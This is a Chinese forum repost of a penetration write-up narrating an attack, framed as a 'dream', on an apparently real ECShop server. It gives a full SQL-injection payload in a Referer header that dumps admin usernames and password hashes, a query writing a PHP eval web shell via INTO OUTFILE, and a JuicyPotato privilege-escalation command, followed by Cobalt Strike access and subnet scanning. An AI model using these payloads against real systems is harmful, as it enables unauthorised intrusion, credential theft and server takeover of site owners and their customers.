搜索

[18205] 2020-11-22_记一次不存在的ecshop实战渗透

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-11-22_记一次不存在的ecshop实战渗透 记 一 次 不 存 在 的 e c s h o p 实 战 渗 透 那 是 坦 k e 吗   H A C K 之 道   2 0 2 0 - 1 1 - 2 2 介 绍 介 绍 最 近 学 习 了 一 下 e c s h o p 的 R C E , 网 上 的 p a y l o a d 也 相 当 成 熟 . h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 1 8 2 8 9 9 . h t m l 是 前 辈 发 出 的 e c s h o p 2 . x 和 3 . x 的 p a y l o a d ， 前 辈 们 已 经 把 漏 洞 原 理 写 的 非 常 清 楚 了 。 这 做 梦 梦 到 的 一 台 做 梦 梦 到 的 一 台 e c s h o p 的 机 器 的 机 器 直 接 一 手 R C E p a y l o a d 打 上 去 , 这 里 很 明 显 的 m y s q l 报 错 。 菜 鸡 的 我 分 析 了 好 久 才 知 道 这 里 的 i d 被 处 理 了 很 明 显 的 n e a r 附 近 的 ' ' 重 叠 在 了 一 起 并 没 有 被 注 释 所 以 报 错 了 , 这 个 p a y l o a d 的 原 理 是 通 过 可 控 函 数 造 成 s q l 注 入 得 到 结 果 满 足 判 断 条 件 进 行 代 码 执 行 。 p a y l o a d 原 理 点 这 里 。 那 这 里 我 们 并 不 能 直 接 命 令 执 行 。 这 里 直 接 上 我 们 的 p a y l o a d 。 效 果 如 下 R e f e r e r :   5 5 4 f c a e 4 9 3 e 5 6 4 e e 0 d c 7 5 b d f 2 e b f 9 4 c a a d s | a : 2 : { s : 3 : " n u m " ; s : 3 : " 6 6 9 " ; s : 2 : " i d " ; s : 1 0 3 : " u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   g r o u p _ c o n c a t ( u s e r _ n a m e , 0 x 7 e , p a s s w o r d )   f r o m   w e b p o s . e c s _ a d m i n _ u s e r ) ) , 1 )   # " ; }
这 里 的 u p d a t e x m l ( ) 报 错 注 入 每 次 只 能 返 回 3 2 位 ， 我 们 可 以 借 助 字 符 串 切 割 函 数 来 显 示 任 意 位 数 的 数 据 ， 可 以 使 用 m i d ( ) ， 或 者 s u b s t r ( ) 。 这 里 的 上 网 查 到 加 密 方 式 为 s a l t 加 密 ， 这 里 我 们 也 可 以 通 过 报 错 注 入 得 到 s a l t 值 ， 在 线 网 上 解 密 得 到 密 码 为 r o o t r o o t , 这 里 可 以 吐 了 , 早 知 道 直 接 上 一 手 爆 破 他 不 香 吗 ? 我 们 来 到 后 台 , 这 里 有 一 个 s q l 查 询 , 权 限 全 开 这 个 时 候 s q l 权 限 够 直 接 上 这 个 , 结 果 好 多 文 件 夹 是 禁 止 访 问 的 ， 直 接 写 是 写 不 上 的 就 算 写 了 也 访 问 不 到 的 。 这 里 找 了 个 x x x 的 文 件 夹 可 以 写 文 件 。 但 是 日 志 是 写 不 进 去 的 ， 只 能 够 创 建 文 件 这 里 写 上 去 , 漂 亮 的 界 面 就 出 现 了 s h o w   v a r i a b l e s   l i k e   ' % s e c u r e % ' ; S e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ? > '   i n t o   o u t f i l e   ' E : / / z z / / z z / / z z . p h p ' ;
c s 上 线 , 无 杀 软 。 信 息 收 集 一 手 无 补 丁 , 工 作 组 , w i n d o w s   2 0 1 2   s e r v e r   d a t a , 这 里 的 用 户 是 i u s e r ， 提 权 。 这 里 用 的 是 土 豆 家 族 的 提 权 。 这 里 我 们 拿 下 它 ， 接 着 扫 扫 c 段 ， 看 看 端 口 。 i p c o n f i g   / a l l w h o a m i   / a l l s y s t e m i n f o j u i c y p o t a t o . e x e   - p   " w h o a m i "   - c   { 9 B 1 F 1 2 2 C - 2 9 8 2 - 4 e 9 1 - A A 8 B - E 0 7 1 D 5 4 F 2 A 4 D }
这 里 再 附 上 机 器 的 e c s h o p   i d 处 理 。 第 一 次 写 文 章 ， 众 多 地 方 细 节 还 未 理 解 清 楚 ， 还 望 多 多 海 涵 。 作 者 ： 那 是 坦 k e 吗 ， 文 章 来 源 ： 先 知 社 区 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理